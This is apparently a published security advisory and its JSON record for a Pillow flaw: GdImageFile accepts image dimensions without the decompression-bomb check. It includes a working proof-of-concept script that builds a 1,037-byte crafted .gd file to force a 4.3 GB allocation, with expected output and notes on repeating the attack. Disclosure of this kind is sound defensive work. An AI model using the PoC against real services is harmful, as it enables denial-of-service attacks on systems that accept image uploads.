Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field	Value
Maximum width from header	65,535 (unsigned 16-bit)
Maximum height from header	65,535 (unsigned 16-bit)
Maximum pixel count	65,535 × 65,535 = 4,294,836,225
`DecompressionBombError` threshold	178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio	24× above DecompressionBombError threshold
Memory at max dimensions	≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size	1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path	File size	Effect
Transient (header only)	1,037 bytes	`load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike
Persistent (full pixel data)	~4.3 GB	`load()` completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
Confidentiality: None
Integrity: None
Authentication required: No — any public endpoint accepting image uploads is affected
User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55380"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:13:35Z",
    "nvd_published_at": "2026-07-06T19:17:08Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow\u0027s decompression bomb guard. The plugin exposes its own entry point \u2014 `PIL.GdImageFile.open(fp)` \u2014 which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50\u201361):**\n\n```python\ndef _open(self) -\u003e None:\n    s = self.fp.read(1037)\n    if i16(s) not in [65534, 65535]:\n        raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n    self._mode = \"P\"\n    self._size = i16(s, 2), i16(s, 4)   # \u2190 unsigned 16-bit; max 65535 each\n    # NO _decompression_bomb_check() call here \u2190\n    ...\n    self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() \u2192 load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\n# \u2191 C-level allocation of 4,294,836,225 bytes \u2248 4.3 GB \u2014 no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 \u00d7 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 \u00d7 MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24\u00d7 above DecompressionBombError threshold** |\n| Memory at max dimensions | **\u2248 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only \u2014 no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category \u2014 not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 \u2014 CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size)   # \u2190 present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file \u2192 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig          = struct.pack(\"\u003eH\", 0xFFFE)       # 65534 = GD 2.x magic\nw            = struct.pack(\"\u003eH\", 65535)         # max width\nh            = struct.pack(\"\u003eH\", 65535)         # max height\ntrue_color   = b\"\\x00\"                          # 0 = palette mode\ntindex       = struct.pack(\"\u003eI\", 0xFFFFFFFF)    # \u003e 255 = no transparency\ncolors_used  = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n    Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n    print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\"         No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\ntry:\n    img.load()\nexcept OSError:\n    print(f\"[INFO]   load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}\u00d7 error threshold\")\nprint(f\"[MATH]   Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n         No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\n[INFO]   load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\n\n[MATH]   4,294,836,225 pixels = 24.0\u00d7 error threshold\n[MATH]   Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation \u2192 `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file)   # succeeds \u2014 no bomb check\nimg.load()                                    # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH \u2014 a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable \u2014 attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No \u2014 any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.",
  "id": "GHSA-phj9-mv4w-65pm",
  "modified": "2026-07-20T21:13:35Z",
  "published": "2026-07-20T21:13:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55380"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`"
}

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BDU:2026-15952 (CVE-2026-55380)

CVE-2026-55380 (GCVE-0-2026-55380)

GHSA-PHJ9-MV4W-65PM

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